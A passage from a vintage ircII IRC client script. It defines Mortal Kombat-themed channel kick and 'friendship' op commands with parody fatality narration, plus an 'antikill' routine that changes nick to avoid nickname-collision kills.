  pecho **  jax1           jax2           baraka1        baraka2
  pecho **  kung1          kung2          shang1         shang2
  pecho **  shang3         pit2           spikes         acidpool
  pecho /[Name of kick] [nick], i.e. "/PIT2 Vassago", will MK Vass
}
alias FSOP {
  /pecho Mortal Kombat 2 Friendships:
  pecho **  raidenf        scorpionf      subzerof       reptilef
  pecho **  cagef          mileenaf       liukangf       kitanaf
  pecho **  jaxf           barakaf        shangf         kungf
  pecho /[Name of Friendship Op] [nick], i.e. "/KUNGF SrFrog"
}
alias RAIDEN1 {
  nick Raiden_
  wait
  me appoaches $0.
  me ducks down.
  me does this humoungus uppercut, hitting $0 beneath the chin.
  send *KABOOM*
  send $0's body pieces are blasted out of $C
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias RAIDEN2 {
  nick Raiden_
  wait
  me appoaches $0.
  me raises both hands and grabs on to $0.
  send $0 lets out a scream as 10,000 volts travel through has body.
  send *KABOOM*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SUBZERO1 {
  nick Sub_Zero_
  wait
  me jumps away from $0's swaying body.
  me makes a ball of ice and chucks it at $0.
  send *KABOOM*
  send $0's body parts fly from this $C
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SUBZERO2 {
  nick Sub_Zero_
  wait
  me approaches $0's swaying body.
  me freezes $0's body in ice.
  me ducks down and uppercuts $0's frozen stance.
  send *KABOOM*
  send bits and pieces of $0 fly out of $C
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SCORPION1 {
  nick Scorpion_
  wait
  me pulls of his mask revealing a skull.
  me looks at $0.
  send $0 screams in pain as he is bathed in fire.
  send *KABOOM*
  send *ToASTy!*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SCORPION2 {
  nick Scorpion_
  wait
  me jumps towards $0.
  me takes out his spear and cut $0's troat.
  me then severs $0's body from his leg with another slice.
  send $0's body lays flopping on the ground while his life
  send blood seeps into the earth.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias REPTILE1 {
  nick Reptile_
  wait
  me jumps away from $0.
  me pulls of his mask to reveal a reptilian head.
  me tounge fly from his mouth wrapping around $0's head.
  send *CRACK*
  send $0's head flys into $N's mouth.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias REPTILE2 {
  nick Reptile_
  wait
  me throws some powder to the ground and dissapears.
  send Poof
  send Suddenly, $0's body rips from his legs and land 2 feet away.
  send You cannot kill what you cannot see.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias LIUKANG1 {
  nick Lui_Kang_
  wait
  me jumps toward $0's body.
  me morphs into a dragon!
  me opens his reptilian mouth and bites down on $0's body.
  send *CRUNCH*
  send Yummy.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias LIUKANG2 {
  nick Lui_Kang_
  wait
  me jumps toward $0's body.
  me lands and throws this wicked upper cut.
  send *SMACK*
  send $0's body flys out of $C
  me bows to the crowd.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias CAGE1 {
  nick JohnyCage_
  wait
  me walks up to $0's quivering body.
  me ducks down.
  me then punchings up severing $0's head from his body!
  send *CRUNCH*
  me puts on his shades and smiles.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias CAGE2 {
  nick JohnyCage_
  wait
  me glares at $0.
  me grabs $0's body lifting it away from his legs.
  send *CRUNCH*
  me tosses $0's torso out of $C
  me puts on his shades.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias MILEENA1 {
  nick Mileena_
  wait
  me comes up to $0's body.
  me opens her mouth wide exposing a row of baraka like teeth.
  me inhales sucking $0's body into her mouth.
  me spits the bones out of $C after she is done.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias MILEENA2 {
  nick Mileena_
  wait
  me jumps toward $0's body.
  me pulls out her sais.
  me starts rapidly impaling her sais to $0's body.
  send litres of $0's blood flys out of his open wounds.
  send didn't they do this in basic instincts?
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias KITANA1 {
  nick Kitana_
  wait
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias KITANA2 {
  nick Kitana_
  wait
  me smiles as she give $0 one last kiss.
  send *Schooch*
  me stand back away from $0.
  send $0's body suddenly starts to expand.
  send *KABOOM*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias KUNG1 {
  nick Kung_Lao_
  wait
  me approaches $0.
  me takes off his hat.
  me takes his hat and cuts $0 down the middle.
  send *WOOSH*
  send the two half of $0's body falls to the ground.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias KUNG2 {
  nick Kung_Lao_
  wait
  me takes off his hat.
  me grins at $0.
  me throws his hat at $0's neck, seperating the head from the body.
  send *WOOSH*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias JAX1 {
  nick Jax_
  wait
  me grins as he approaches $0.
  me sends extend both arms to the side.
  me claps his hands together on $0's head.
  send *BOOM*
  send pieces of $0's skull flies everywhere.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias JAX2 {
  nick Jax_
  wait
  me approaches $0 bearing a wicked grin.
  me rips both arms from $0's body.
  send *CRUNCH*
  send $0's armless body spews blood all over the $C occupants.
  me tosses $0's body and arms out the channel.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias BARAKA1 {
  nick Baraka_
  wait
  me walks up to $0.
  me extends his right arm backwards, extracting his blades
  send $0 is frozen with fear as he see's the blade approaching his neck.
  send *TWUP*
  send there is a fountain of blood where $0's head was seconds before.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias BARAKA2 {
  nick Baraka_
  wait
  me smiles as he approaches $0's body.
  me extracts his blade from his forearm.
  send $0 screams in agony as both blades are plunged into his exposed belly.
  me slowly lifts $0 of the ground with the blade.
  me then tosses $0's corpse out of $C
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SHANG1 {
  nick ShangTsng_
  wait
  me approaches $0's healthy body.
  me grabs and lift $0's body off the ground with one of his hands.
  me raises his other hand and $0's life energy is sucked into it.
  send good to the last drop.
  me tosses $0's empty husk out of $C
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SHANG2 {
  nick ShangTsng_
  wait
  me turns into mist
  me goes up $0's nostrils
  send $0's body starts shaking then explodes into little bits
  send *KABOOM*
  send the people of $C is showered by $0's body parts.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SHANG3 {
  nick ShangTsng_
  wait
  me approaches $0's wavering body.
  me morphs into Kintaro.
  nick Kintaro_
  me raises two arms and punches $0's torso out of $C
  send *CRACK*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias PIT2 {
  me approachs $0.
  me ducks and upper cuts $0 into the air.
  send $0's body falls... and hit the ground with a earth shattering crunch.
  send *CRUNCH*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
}
alias SPIKES {
  me approachs $0.
  me ducks and upper cuts $0 into the air.
  send $0's body flys up and up until the spikes on the ceiling impales him.
  send *THUD*
  send then $0's body falls from the ceiling and out of $C
  kick * $0 FATALiTY
  qsend $0 FATALiTY
}
alias ACIDPOOL {
  me approachs $0.
  me ducks and upper cut $0 into the air.
  send $0's body lands into the pool of acid and quickly is consumed.
  send *SPLASH*
  send Awww.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
}
alias RAIDEN {
  nick Raiden_
  wait
  me raises his arms to the sky and lightning flows into his veins.
  me points his finger at $0...
  me opens his hands and channels the energy to $0's head
  send *BOOM*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
Alias SUBZERO {
  nick Sub_Zero_
  wait
  me approaches $0's swaying body.
  me takes hold of $0's neck.
  me removes $0's head and spine from it's body.
  send *CRACK*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SCORPION {
  nick Scorpion_
  wait
  me removes his mask revealing his skull.
  me lets forth a stream of fire upon $0's swaying body.
  send $0 is engulfed by hellish flames.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias KANO {
  nick Kano_
  wait
  me approaches $0's fear paralyzed body.
  me plunge his hand into $0's chest.
  send *C-rrrrrraaaaaaaa-KK*
  me withdraws the still beating heart and shows it to $0.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias SONYA {
  nick Sonya_
  wait
  me gazes upon your quaking body.
  me blows you a kiss which takes the shape of a flaming ball.
  send *FWOOSH*
  send $0's body burns to the bone.
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias LIUKANG {
  nick Liu_Kang_
  wait
  me approaches $0 and glances at his target.
  me hurls himself through the air, cartwheeling towards $0.
  me swings his harm and makes shattering contact with $0's jaw.
  send Crrrrruuuunnnn-ch
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias CAGE {
  nick JohnyCage_
  wait
  me approaches $0 with lightening speed.
  me pauses to look one last time at $0 panic stricken face.
  me punches $0 head from $0's neck with inhuman strength.
  send *THOCK*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
  wait
  nick $oldnick
}
alias THEPIT {
  me approaches $0's swaying body.
  me ducks down.
  me uppercuts $0's body up into the air.
  send $0 falls.. falls.. falls... into a pit of SPIKES! and out of $C
  send *THUD*
  kick * $0 FATALiTY
  qsend $0 FATALiTY
}
alias RAIDENF {
  nick Raiden_
  wait
  me looks at $0 and raises his arms...
  send electrical bolts shoot from his hand and hits the ground near $0's feet
  send Kid Lightning materialize from the ground and presents
  send $0 with a big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias SUBZEROF {
  nick Sub_Zero_
  wait
  me looks at $0 and smiles.
  me pulls something out from behind his back.
  send it's a SUB ZERO DOLL!
  me presents $0 with the doll and a big +o!
  send $0 with a big +o.
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias SCORPIONF {
  nick Scorpion_
  wait
  me looks at $0 and smiles.
  me pulls something out from behind his back.
  send it's a SCORPION DOLL!
  me presents $0 with the doll and a big +o!
  send $0 with a big +o.
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias REPTILEF {
  nick Reptile_
  wait
  me looks at $0 and smiles.
  me pulls something out from behind his back.
  send it's a REPTILE DOLL!
  me presents $0 with the doll and a big +o!
  send $0 with a big +o.
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias KUNGF {
  nick Kung_Lao_
  wait
  me smiles and takes off his hat.
  me pulls a rabbit out of his hat and presents it to $0.
  send attached to the rabbit is a big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias SHANGF {
  nick ShangTsng_
  wait
  me raises his arms and point them at $0.
  send rainbow flys out of his hands and hit $0 with full force.
  send $0 smiles as he is given +o power!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias JAXF {
  nick Jax_
  wait
  me turns around and faces the other direction.
  send you here some snipping noise coming from $N
  me turns around and presents $0 with some paper dolls
  send and a big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias MILEENAF {
  nick Mileena_
  wait
  me drops a seed at $0's feet.
  me waters the spot where the seed sank into the soil.
  send a plant rapidly rises and opens to reveal a
  send big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias KITANAF {
  nick Kitana_
  wait
  me turns 180 presenting her ass for all to see.
  me turns and faces $0.
  me has a cake in her hand as she chucks it at $0.
  send $0 is splatter with cake and a big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias CAGEF {
  nick Johnycage_
  wait
  me stops and smiles at $0.
  me starts signing his picture.
  me present his autographed picture to $0.
  send you are my best fan and deserves a big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias LIUKANGF {
  nick Liu_Kang_
  wait
  me stops and grin at $0.
  me starts dancing!
  send out of no where a +o lands on $0's head.
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias BARAKAF {
  nick Baraka_
  wait
  me approaches $0 and smiles.
  me presents $0 with a present.
  send $0 opens it fearing the worst.
  send it turns out to be a big +o!
  mode * +o $0
  send (FRiENDSHiP FRiENDSHiP)
  wait
  nick $oldnick
}
alias mkhelp {
/pecho Loaded Mortal Kombat Kicks (NEW) BY <=-Eliminator-=>
/pecho Type "/MK1" for a list of MK1 kicks
/pecho Type "/MK2" for a list of MK2 kicks
/pecho Type "/FSOP" for a list of FRiENDSHiP ops
}

# end of Mortal Kombat kicks ect.. #


# This is the antikill part of the script #

^assign defaultnick NONE
^assign -STOPCHANGE

@ killthresh = 2

# Main ON KILL function.

alias ANTIKILL {
   if ([$ANTIKILL]==[OFF]) {
	 ^assign ANTIKILL ON
	 /echo $vak Eliminator's ANTIKILL is now activated.
	    ^on -window "% ??? You have been rejected*" {
		 if (([$1]==[***])&&([$alreadychanging]!=[ON])) {
		     ^assign alreadychanging ON
		     ChangeNick
		     ^timer -delete 954
		     ^timer -refnum 954 5 ^assign -alreadychanging
		 }
	    }
	    ^on -window "% ??? % Nickname Col% KILL*" {
		 if (([$1]==[***])&&([$alreadychanging]!=[ON])) {
		      ^assign alreadychanging ON
		      ChangeNick
		      ^timer -delete 954
		      ^timer -refnum 954 5 ^assign -alreadychanging
		 }
	    }
   ^on -raw_irc "%.% QUIT :*Killed* %.%*%.%*" {
      /incKill
	if (([$killcount] >= [$killthresh])&&([$STOPCHANGE]!=[ON])) {
		@ killcount = 0
		^assign STOPCHANGE ON
		^timer 10 ^assign -STOPCHANGE
		ChangeNick
  echo $vak WARNING! Kill threshhold of $killthresh\ reached. Sending
  echo $vak immediate nick change to $S\ to avoid a possible kill...
			}
	    }
   }
   {
	 ^assign ANTIKILL OFF
	 /echo $vak Eliminator's ANTIKILL is now deactivated.
	 ^on raw_irc - "%.% QUIT :*Killed* %.%*%.%*"
	 ^on window - "% ??? You have been rejected*"
	 ^on window - "% ??? % Nickname col% KILL*"
   }
}

^assign ANTIKILL OFF
@ killcount = 0

alias incKill {
    @ killcount = killcount + 1
    ^timer 14 subKill
}

alias subKill {
    if (killcount>0) {@ killcount = killcount - 1}
}

alias ChangeNick {
    if (([$defaultnick]!=[NONE])&&([$N]!=[$defaultnick])) {
	/EVAL quote NICK $defaultnick}
    {/EVAL quote NICK $randcrap(6)$rand(999)}
}

assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a

alias randcrap {
    @ RCOUNTER = 1
    while (RCOUNTER < [$0]) {
	 @ RCOUNTER = RCOUNTER + 1
	 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
    }
    EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
   ^assign FUNCTION_RETURN $RCRAP
   ^assign -RCRAP
}

alias AntiNick {
   if ([$0]) {
	 ^assign defaultnick $0
	 /echo $vak Default nickname is now $defaultnick\.
   }
   {
	/echo $vak Default nickname is currently set to $defaultnick\.
   }
}

alias AntiThresh {
    if ([$0]) {
	   ^assign killthresh $0
	    /echo $vak Kill threshhold is now set to $killthresh\.
    }
    {
	   /echo $vak Kill threshhold is currently set to $killthresh\.
    }
}

# Assiging the commands to a alias #

alias antimenu {
 EVAL $srand($time())
 EVAL echo $ex This is Your ANTIKILL Commands's:
 EVAL echo
 EVAL echo $ex /ANTIKILL - Toggles Protection ON/OFF.
 EVAL echo $ex /ANTINICK <Nick> - Set Your Default Nick To Switch To.
 EVAL echo $ex /ANTITHRESH <#> -  Sets # Of Kills it takes to Activate.
 EVAL echo $ex $ANTIKILL\. Kill ThreshHold: $killthresh\.
 EVAL echo $ex $ANTIKILL\. Default Nick: $defaultnick\.
}

### end of script load ###

###########################################################################